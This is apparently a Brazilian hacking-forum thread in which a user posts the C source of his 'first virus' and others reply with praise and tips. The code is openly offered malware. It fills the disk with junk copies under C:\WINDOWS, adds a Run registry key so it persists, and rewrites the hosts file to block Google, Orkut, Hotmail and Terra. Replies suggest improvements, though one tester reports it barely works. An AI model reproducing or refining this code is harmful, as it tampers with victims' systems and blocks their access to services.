Gente este é o meu primeiro vírus..É bem simples e recebi várias ajudas...
é o meu primeiro então não saiu grande coisa.. espero que gostem e sirvam de estudo para voces...
e o vírus foi codado em cima dos conhecimentos do tuto do dark_side
vamos deichar de enrolação e e postar logo o source..
/************************
**Virus coded by _Dr4k0_*
**Member of BrazLab *
**Greetz to dark_side, *
**gbr,storm,Defcon, *
**Haxnetwork,etc.. *
**************************/
#include <stdio.h>
#include <windows.h>
#include <winreg.h>
#include <string.h>
HKEY chave;
const char valor[] = "C:\\WINDOWS\\programa.exe";
int Reproduz (){
CopyFile("C:\\arquivo.exe","C:\\WINDOWS\\arquivo.exe",FALSE);
return 0;
}
int Cria(){
FILE *fp=fopen("C:\\arquivo.exe","a+b");
int x;
for(x=0;x<=100000;x++)
fprintf(fp,"bla bla bla");
fclose(fp);
char string[256];
int y;
{
ZeroMemory(&string,sizeof(string));
sprintf(string,"C:\\WINDOWS\\arq%d.exe",y);
CopyFile("C:\\arquivo.exe",string,0);
}
return 0;
}
int Reg(){
RegOpenKey(HKEY_LOCAL_MACHINE,"SoftWare\\Microsoft\\Windows\\CurrentVersion\\Run",&chave);
RegSetValueEx(chave,"Programa",0,REG_SZ,(LPBYTE)valor,strlen(valor));
RegCloseKey(chave);
return 0;
}
int Host ()
{
FILE *fp = fopen("C:\\WINDOWS\\system32\\drivers\\etc\\hosts","a+b");
if(fp != NULL){
fputs("0.0.0.0 www.google.com.br\n0.0.0.0 www.orkut.com\n0.0.0.0 www.hotmail.com\n0.0.0.0 www.terra.com.br",fp);
fclose(fp);
}
return 0;
}
int main() {
Cria();
Reproduz();
Reg();
Host();
printf ("C");Sleep(10000);printf ("a");Sleep(10000);printf ("r");Sleep(10000);printf ("r");Sleep(10000);printf ("e");Sleep(10000);printf ("g");Sleep(10000);printf ("a");Sleep(10000);printf ("n");Sleep(10000);printf ("d");Sleep(10000);printf ("o");Sleep(10000);printf (".");Sleep(10000);printf (".");Sleep(10000);printf (".");Sleep(10000);printf (".");Sleep(10000);printf (".\n");Sleep(10000);
printf ("Coded by _Dr4k0_");
printf ("Diga ai como esta..Fico legal o code? :D");
return 0;
}
Puta sacanagem isso
kkkkkkkkkkkkkk
ao inves de C:\\WINDOWS\\system32, põe windir...
veja uma lista de variáveis de ambiente...
vai no dos e digita set que ele te mnostra.
Abraços
nao tenho certeza que windir seja interpretado assim no C
no C++ tem que chamar uma funçao para buscar ele
rog
Cool _Dr4k0_, mas isso aí ta mais pra worm do q virus, hehehe, mesmo assim, pra quem ta começando esta super bom, uma dica pra vc, aprenda o formato PE
eu testei este vírus no meu pc, e ele ñ infectou nada, soh criou um arquivo com blablabla
ele nem se copiar copia!
_Dr4k0_ É exatamente
dessa forma que se começa...
Parabens...